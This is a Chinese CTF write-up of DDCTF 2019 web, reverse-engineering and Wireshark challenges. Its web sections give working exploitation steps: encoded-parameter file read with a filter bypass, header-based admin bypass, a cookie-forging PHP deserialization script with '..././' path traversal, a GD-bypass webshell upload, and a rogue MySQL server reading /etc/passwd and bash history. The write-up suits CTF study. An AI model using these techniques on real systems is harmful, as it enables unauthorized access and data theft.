2019-04-23

DDCTF 部分Writeup

0x1 web1 滴~

打开题目链接如下所示

2019-04-23_第1张图片
img 1

观察到URL:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

常识告诉我们要将JPG的值base64解码,结果为NjY2QzYxNjcyRTZBNzA2Nw==,再次base64解码得666C61672E6A7067
再unhex一次得到flag.jpg,所以应该是任意文件读取,只不过会被编码成base64的图片格式,所以构造读取index.php,即先将字符串index.phpHex一次,再对结果两次base64得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

然后去访问http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,然后查看源码可以看到有


将得到的base64字符串解码得到index.php的源码

index.php
       
 
'.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'
'; $file = str_replace("config","!", $file); echo $file.'
'; $txt = base64_encode(file_get_contents($file)); echo ""; /* * Can you find the flag file? * */ ?>

尝试去读flag.txt,一些备份文件都无果,然后根据源码中根据注释信息去访问csdn博主的博客

2019-04-23_第2张图片
博客

看到一篇文章

2019-04-23_第3张图片
文章

所以去访问.practice.txt.swp,于是构造字符串,将.practice.txt.swp按上面的方法,一次Hex、两次base64编码得到TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09

于是访问url http://117.51.150.246/index.php?jpg=TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09

查看网页源码看到


解码得到f1ag!ddctf.php,这时我们就想着去访问f1ag!ddctf.php文件了,不过在index.php代码中我们可以看到,正则表达式不允许输入!符号,但是下面的$file = str_replace("config","!", $file);会把我们输入的文件名中的config替换为!,所以我们只需要构造f1agconfigddctf.php然后编码,得到TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

然后访问url http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

查看源码得到


然后解码得到代码

       
f1ag!ddctf.php

简单过一遍代码可以知道是简单的变量覆盖漏洞(可以参考我们做的笔记),所以我们只用去访问http://117.51.150.246/f1ag!ddctf.php?k=&uid=即可拿到flag

2019-04-23_第4张图片
flag

0x2 web签到题

2019-04-23_第5张图片
web2

打开题目链接看到网页
提示抱歉,您没有登陆权限,请获取权限后访问-----,网页查看源码,没有看到其他信息,但是其中有一个index.js

/**
 * Created by PhpStorm.
 * User: didi
 * Date: 2019/1/13
 * Time: 9:05 PM
 */

function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

可以看到会通过ajax请求http://117.51.158.44/app/Auth.php,并且会设置http头didictf_username
所以抓包得到

2019-04-23_第6张图片
抓包1

既然它提示我们没有管理员权限那么我们给didictf_username赋值为admin,即修改http头

2019-04-23_第7张图片
抓包2

Forward查看页面看到您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php,所以我们按照提示访问http://117.51.158.44/app/fL2XID2i0Cdh.php
得到源代码

#url:app/Application.php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
#url:app/Session.php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

根据代码审计,可以确定这是一道反序列化漏洞的利用,我们可以利用Session类里的

$userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

中的$user_data,将其值设置为类Application的一个对象。
可以看到类Applicationpublic function __destruct()函数,该函数会读取以成员变量$path所指向的字符串为名字的文件并输出,并且该函数会在脚本执行完毕之后自动调用.接下来是利用方式

我们去访问http://117.51.158.44/app/Session.php,得到页面返回结果提示

{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}

是json数据,unicode解码之后就是{"errMsg":"error","data":"抱歉,您没有登陆权限,请获取权限后访问-----"}

抓包增加http头didictf_username: admin

2019-04-23_第8张图片
抓包3

得到页面返回结果,unicode解码后为

{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php"}{"errMsg":"sucess","data":"DiDI Welcome you %s"}

此时查看cookie得到

a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%220e9be2d96d35328783c1f69498a260d6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.226.76%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0df866e958664506d94eecc413c2022c

url解码得到

a:4:{s:10:"session_id";s:32:"0e9be2d96d35328783c1f69498a260d6";s:10:"ip_address";s:13:"171.43.226.76";s:10:"user_agent";s:113:"Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/71.0.3578.98+Safari/537.36";s:9:"user_data";s:0:"";}0df866e958664506d94eecc413c2022c

通过审计代码可知我们先通过post一个nickname可以泄露eancrykey,我们依旧请求http://117.51.158.44/app/Session.php,抓包,修改
请求方法为POST,http头添加didictf_username: admin,请求体 添加nickname:%s

2019-04-23_第9张图片
改包1

得到返回结果

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 16 Apr 2019 12:07:54 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 359

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/71.0.3578.98 Safari\/537.36"}

可以得到eancrykey:EzblrbNS

拿到eancrykey后,本地PHPstudy搭建环境生成攻击用的序列化后的ddctf_id
以下是我的构造脚本

path='..././config/flag.txt';
$userdata=$userdata.serialize($a).'}';
$eancrykey='EzblrbNS';

$cookiedata=$userdata;
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);

echo urlencode($cookiedata).'
';

其中$userdata为我自己的session信息,包括本机ip,UA标识符什么的,通过读源码知道,服务器会对我们的session校验,$path赋值为..././config/flag.txt,其中按源代码要求$path的长度必须等于18位,并且会替换一次../为空,所以我这里采用..././的方式绕过,至于flag文件的路径,源代码有提示与eancrykey.txt同目录,至于名字,就猜嘛(一发入魂),

本地执行拿到我们自己构造的session

a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222f2361854eb93c5f447dfa3eec550506%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.227.12%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D7ffaffe481834a8ba3acb2a24ac7d76c

用我们构造的session去替换服务器给我们生成的session,即可以拿到flag

2019-04-23_第10张图片
get flag

0x3 Web 大吉大利,今晚吃鸡~

2019-04-23_第11张图片
web

我是非常规做出的这道题

注册账户,注册一个已经存在的账户,虽然会提示已经注册了,但是!!!!,,,,,发现其实我们已经以这个已经存在的账户的身份登进去了

2019-04-23_第12张图片
login

我是根据完成这道题目的名单,第一个完成此题的人,刚好他做这个题的时候注册的时候id就是他的ddctf的id


2019-04-23_第13张图片
first

我们登进去之后进入http://117.51.147.155:5050/index.html#/main/index是这样的一个界面

2019-04-23_第14张图片
img

然后买到入场券之后可以进入http://117.51.147.155:5050/index.html#/main/result玩吃鸡(手动滑稽)

然而我们登录的这个账号是第一个做出此题的人,打开http://117.51.147.155:5050/index.html#/main/result,即可看到flag

2019-04-23_第15张图片
flag

总结一下利用的过程,首先这个题有不需要密码任意登录的问题,然后是挑选了第一个完成此题的人,恰巧第一个完成此题的人他在完成这个题的时候注册的账号是他的ctf账户id(偷笑),而且因为此时游戏竞技场上没有其他人,所以拿到了flag

此题目的各个页面的url,我是从js中找到的在这个js里还能看到很多其他信息

2019-04-23_第16张图片
js

我也测试登录其他人的账号,需要将所有对手移除才能拿到flag,而移除其他对手需要知道对方的id和ticket

2019-04-23_第17张图片
img

0x4 Upload-IMG

查找

题目打开登陆后很明确,文件上传
那么传个图片试试,穿个图片马
结果发现没用。但是它有回显的图片
保存下来看看有啥区别
发现了文件头内有

xxxJFIFxxx;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80

这么一段,很明显这是图片经过二次渲染了,到网上查一下可以得出这是用的php-gd库
然后查一下php gd二次渲染绕过可以找到这么一个网站 https://wiki.ioin.in/soft/detail/1q
提供一个绕过GD库渲染的WEBSHELL生成器
来源于这个论坛 https://rdot.org/forum/showthread.php?t=2780

使用

  • 首先linux下装个php-gd库
  • 制作一个分辨率够大纯色图片(据论坛说成功率更高)
  • 上传图片,下载转化后的图片
  • 使用下载的php脚本处理下载的图片(需要更改脚本内的shell)
  • 上传处理后的payload图片,拿到flag

0x5 mysql弱口令

题目链接

2019-04-23_第18张图片
img

打开题目链接是这个样子的

2019-04-23_第19张图片
img

经过百方查找才知道,这是一个通过伪造恶意mysql服务端,然后任意读取客户端文件的利用

这里题目的服务器就相当于是客户端,所以我们只要在我们的VPS上面部署恶意的mysql服务器,然后再运行用题目所给的agent,py,然后执行扫描就可以实现任意文件读取了

已有前辈们写好的构造恶意mysql服务器脚本
github地址

这里只用修改PORT为我们构造的mysql服务的端口号

PORT = 3307
filelist = (
    '/etc/passwd',
)

filelist为我们要扫描的文件

最终会在当前目录生成mysql_log1文件,我们读取的题目容器的数据就会被记录在mysql_log文件里

ageent.py中添加

result={'Process_name':'123/mysqld','local_address':'0.0.0.0:3307'}
2019-04-23_第20张图片
img

然后输入我们的vps地址,端口号是我们构造的mysql服务器指定的端口,我这里是用的3307

2019-04-23_第21张图片
img

点击扫描,扫描到数据页面就会返回

2019-04-23_第22张图片
image

此时我们查看mysql_log文件确实返回了我们想要读取的数据

img

然后我们再尝试读/root/.bash_history文件查找信息,得到

...
history  -w
ls
2019-04-16 16:42:33,251:INFO:-- result
2019-04-16 16:42:33,251:INFO:Result: '╚/app/main/views.py
vim /home/dc2-user/ctf_web_2/app/main/views.py
history
exit
ls
pwd
history
cat /root/.bash_history
ls
cd ctf_web_2/
ls
cat app/main/views.py
ls
ps -aux
ps -aux | grep 5000
cat /root/.bash_history
ls
history | grep wget
...

其中看到vim /home/dc2-user/ctf_web_2/app/main/views.py,然后再去读vim /home/dc2-user/ctf_web_2/app/main/views.py,得到源码

# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get('target_ip')
    target_port = request.args.get('target_port')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})
...

看到注释# flag in mysql curl@localhost database:security table:flag

我们知道linux下,MySQL默认的数据文档存储目录为/var/lib/mysql/,所以尝试/var/lib/mysql/security/flag.ibd文件,网上有很多通过idb恢复数据表的教程,但是我拿到idb文件后用vscode打开,字符串搜索就看到了flag

2019-04-23_第23张图片
flag

0x6 Windows Reverse1

题目链接

首先查壳

上peid 显示:UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo  
很明显是upx

脱壳

直接上脱壳机即可,虽然这样拖出来的执行会有问题,不过已经可以再次用ida分析了

静态审计

主函数很简单

  v6 = 0;
  memset(&Dst, 0, 0x3FFu);
  v4 = 0;
  memset(&v5, 0, 0x3FFu);
  printf("please input code:");
  scanf("%s", &v6);
  sub_401000(&v6);
  if ( !strcmp(&v4, "DDCTF{reverseME}") )
    printf("You've got it!!%s\n", &v4);
  else
    printf("Try again later.\n");
  return 0;

这里主要是看sub_401000(&v6);这个函数干了啥
跟进去

unsigned int __cdecl sub_401000(const char *a1)
{
  _BYTE *v1; // ecx
  unsigned int v2; // edi
  unsigned int result; // eax
  int v4; // ebx

  v2 = 0;
  result = strlen(a1);
  if ( result )
  {
    v4 = a1 - v1;
    do
    {
      *v1 = byte_402FF8[(char)v1[v4]];
      ++v2;
      ++v1;
      result = strlen(a1);
    }
    while ( v2 < result );
  }
  return result;
}

这就是一个查找算法,从一个序列里查找"DDCTF{reverseME}"这个字符串

看下内存,可以找到这个地方

UPX0:00403018 aZyxwvutsrqponm db '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>'
UPX0:00403018                 db '=<;:9876543210/.-,+*)(',27h,'&%$#"! ',0

注意数据起始开始位置为402FF8
然后上脚本

a='''00 00 00 00 00 00 00 00
4E E6 40 BB B1 19 BF 44 FF FF FF FF FF FF FF FF
FE FF FF FF 01 00 00 00 7E 7D 7C 7B 7A 79 78 77
76 75 74 73 72 71 70 6F 6E 6D 6C 6B 6A 69 68 67
66 65 64 63 62 61 60 5F 5E 5D 5C 5B 5A 59 58 57
56 55 54 53 52 51 50 4F 4E 4D 4C 4B 4A 49 48 47
46 45 44 43 42 41 40 3F 3E 3D 3C 3B 3A 39 38 37
36 35 34 33 32 31 30 2F 2E 2D 2C 2B 2A 29 28 27
26 25 24 23 22 21 20 00 00 00 00 00 00 00 00 00'''.replace('\n',' ').split(' ')
a=[chr(int(ta,base=16)) for ta in a]
b='DDCTF{reverseME}'

result=[]
for bb in b:
    index=0
    tmp=-1
    for aa in a:
        if aa==bb:
            tmp=index
        index+=1
    result.append(tmp)

print(''.join([chr(r+i) for r in result]))

即可得到flag

0x7 Windows Reverse2

题目链接

首先查壳,发现是Aspack

2019-04-23_第24张图片
exe Info

脱壳后IDA打开,F5一键反编译

进入主函数查看代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Dest; // [sp+8h] [bp-C04h]@4
  char v5; // [sp+9h] [bp-C03h]@4
  char v6; // [sp+408h] [bp-804h]@1
  char Dst; // [sp+409h] [bp-803h]@1
  char v8; // [sp+808h] [bp-404h]@1
  char v9; // [sp+809h] [bp-403h]@1

  v6 = 0;
  memset(&Dst, 0, 0x3FFu);
  v8 = 0;
  memset(&v9, 0, 0x3FFu);
  printf(Format);                               // "Input code"
  scanf(aS, &v6);                               // input -> v6
  if ( !sub_4011F0(&v6) )                       //判断输入字符是否为 0-9 A-F
  {
    printf(aInvalidInput);
    exit(0);
  }
  sub_401240(&v6, (int)&v8);                    //对输入数据进行处理
  Dest = 0;
  memset(&v5, 0, 0x3FFu);
  sprintf(&Dest, aDdctfS, &v8);                 // Dest = "DDCTF{" + v8 + "}"
                                                //结果存放在Dest中
  if ( !strcmp(&Dest, aDdctfReverse) )          // if(Dest == 'DDCTF{reverse+}')
    printf(aYouVeGotItS, &Dest);                // ok
  else
    printf(aSomethingWrong);
  return 0;
}

数据格式判断函数 sub_4011F0(&v6):

char __usercall sub_4011F0@(const char *a1@)
{
  signed int v1; // eax@1
  signed int v2; // edx@1
  int v3; // ecx@3
  char v4; // al@4

  v1 = strlen(a1);
  v2 = v1;                                      // v2 -> len(v6)
  if ( v1 && v1 % 2 != 1 )                      // 长度为偶数位
  {
    v3 = 0;
    if ( v1 <= 0 )
      return 1;                                 // true
    while ( 1 )
    {
      v4 = a1[v3];
      if ( (v4 < 48 || v4 > 57) && (v4 < 65 || v4 > 70) )// 范围是否在 0-9 A-F
        break;
      if ( ++v3 >= v2 )
        return 1;
    }
  }
  return 0;                                     // false
}

接下来查看输入数据处理函数 sub_401240():

void __usercall sub_401240(const char *a1@, int a2)
{
  signed int v2; // edi@1 a1 -> input  a2 -> 0
  unsigned int v3; // edx@1
  char v4; // bl@2
  char v5; // al@3
  char v6; // al@7
  unsigned int v7; // ecx@11
  char v8; // [sp+Bh] [bp-405h]@0
  char v9; // [sp+Ch] [bp-404h]@1
  char Dst; // [sp+Dh] [bp-403h]@1

  v2 = strlen(a1);                              // v2 -> len(a1)
  v9 = 0;
  memset(&Dst, 0, 0x3FFu);
  v3 = 0;
  if ( v2 > 0 )
  {
    v4 = v8;
    do
    {
      v5 = a1[v3];
      if ( (unsigned __int8)(a1[v3] - 48) > 9u )// ! 0-9
      {
        if ( (unsigned __int8)(v5 - 65) <= 5u ) // A-F
          v8 = v5 - 55;                         // v5-'7'
      }
      else
      {
        v8 = a1[v3] - 48;
      }                                         // hexstr[i] -> int
      v6 = a1[v3 + 1];
      if ( (unsigned __int8)(a1[v3 + 1] - 48) > 9u )
      {
        if ( (unsigned __int8)(v6 - 65) <= 5u )
          v4 = v6 - 55;
      }
      else
      {
        v4 = a1[v3 + 1] - 48;
      }                                         // hexstr[i+1] -> int
      v7 = v3 >> 1;
      v3 += 2;
      *(&v9 + v7) = v4 | 16 * v8;
    }
    while ( (signed int)v3 < v2 );
  }
  //这一层主要是实现16进制字符串转byte[]数组,然后将结果传入下一层函数进行处理
  sub_401000(v2 / 2, (void *)a2);
}

下一层处理函数 sub_401000():

void __cdecl sub_401000(int a1, void *a2)
{
  char *v2; // ecx@0 str(byte)
  int v3; // ebp@1
  char *v4; // edi@1
  signed int v5; // esi@1
  unsigned __int8 v6; // bl@2
  signed int v7; // esi@3 input str 
  int v8; // edi@10
  int v9; // edi@13
  size_t v10; // esi@15
  void *v11; // edi@15 byte[]
  const void *v12; // eax@15
  int v13; // eax@18
  int v14; // edx@18
  int v15; // [sp+4h] [bp-48h]@0
  int v16; // [sp+8h] [bp-44h]@0
  int v17; // [sp+10h] [bp-3Ch]@0
  char Dst; // [sp+14h] [bp-38h]@2
  unsigned __int8 v19; // [sp+15h] [bp-37h]@2
  unsigned __int8 v20; // [sp+16h] [bp-36h]@3
  char v21; // [sp+18h] [bp-34h]@3
  char v22; // [sp+19h] [bp-33h]@3
  char v23; // [sp+1Ah] [bp-32h]@3
  char i; // [sp+1Bh] [bp-31h]@3
  void *v25; // [sp+1Ch] [bp-30h]@1
  char v26; // [sp+20h] [bp-2Ch]@1
  void *Src; // [sp+24h] [bp-28h]@15
  size_t Size; // [sp+34h] [bp-18h]@15
  unsigned int v29; // [sp+38h] [bp-14h]@15
  int v30; // [sp+3Ch] [bp-10h]@18
  int v31; // [sp+48h] [bp-4h]@1

  v3 = a1;                                      // len(byte)
  v25 = a2;
  std::basic_string,std::allocator>::basic_string,   std::allocator>(&v26);     //v26 = new String()
  v5 = 0;
  v31 = 0;
  if ( a1 )
  {
    do
    {
      *(&Dst + v5) = *v4;
      v6 = v19;
      ++v5;                                     // looper -> 3
      --v3;
      ++v4;
      if ( v5 == 3 )
      {
        v21 = (unsigned __int8)Dst >> 2;        // Dst / 4       >>2
        v22 = (v19 >> 4) + 16 * (Dst & 3);      // Dst 低两位 *16
        v23 = (v20 >> 6) + 4 * (v19 & 0xF);     // v14 低四位 *4
        i = v20 & 0x3F;                         // i = 3f
        v7 = 0;
        do
          std::basic_string,std::allocator>::operator+=(
            &v26,
            (unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v7++)] ^ 0x76));
        while ( v7 < 4 );                       //四位一处理
        v5 = 0;
      }
    }
    while ( v3 );
    if ( v5 )
    {
      if ( v5 < 3 )
      {
        memset(&Dst + v5, 0, 3 - v5);
        v6 = v19;
      }
      v22 = (v6 >> 4) + 16 * (Dst & 3);
      v21 = (unsigned __int8)Dst >> 2;
      v23 = (v20 >> 6) + 4 * (v6 & 0xF);
      v8 = 0;
      for ( i = v20 & 0x3F; v8 < v5 + 1; ++v8 )
        std::basic_string,std::allocator>::operator+=(
          &v26,
          (unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v8)] ^ 0x76));
      if ( v5 < 3 )
      {
        v9 = 3 - v5;
        do
        {
          std::basic_string,std::allocator>::operator+=(&v26, 61);    //最后一块长度不足四位补'='
          --v9;
        }
        while ( v9 );
      }
    }
  }
  v10 = Size;
  v11 = v25;
  memset(v25, 0, Size + 1);
  v12 = Src;
  if ( v29 < 0x10 )
    v12 = &Src;
  memcpy(v11, v12, v10);
  v31 = -1;
  v13 = std::basic_string,std::allocator>::~basic_string,std::allocator>();
  sub_40145E(v13, v14, (unsigned int)&Dst ^ v30, v17, v15, v16, Dst);
}

可以看出最后进行了一个base64编码过程

分析结果

所以函数执行逻辑就是,先将传入的16进制字符串转成byte[]数组,然后将这个byte[]数组进行base64编码,最后将编码结果包上DDCTF{}后与'DDCTF{reverse+}'进行比较,判断正确的十六进制字符串即为flag.

最后附上python脚本:

import base64
res='reverse+'
b=base64.b64decode(res)
print('DDCTF{'+b.hex().upper()+'}')

flag: DDCTF{ADEBDEAEC7BE}

0x8 Wireshark

题目文件

首先三板斧走起

首先看看协议统计,发现没有FTP,HTTP倒是有很多
尝试到出对象,可以看到俩multipart/form-data提交的数据,这是二进制提交的,保存下来
跟踪下提交请求的http流,可以发现是在上传图片

检查上传信息

可以找到一些cookie,能够成功登陆上图床,但是没有什么线索

查看其他http请求

我们可以发现第一个请求的网站有些不太一样
http://tools.jb51.net/aideddesign/img_add_info  
打开看看,可以发现是一个图片隐藏信息的网站,那么目标就很明确了
解密出隐写的图片

隐写

这是一个浏览器端的处理,所以网络请求里肯定没有相关线索了
算法的js代码是开源的https://github.com/oakes/PixelJihad
看了下也找不到什么漏洞,到网站上无密码也不能解密
问题就只能从图片本身入手了

图片

一共有两张图,从小的那个钥匙图开始
首先祭出Stegsolve
查看通道和frame无果
那么尝试修改图片宽度和高度,发现一个key:xS8niJM7
很显然是另一个图的密码了
试试,可得到flag

注意

  • 导出的对象需要进行修整,用啥都行,dd命令/各种hex编辑器/自己写个脚本
  • 图片提取方式如果不当会损坏图片信息,虽然表面看上去没有区别

你可能感兴趣的:(2019-04-23)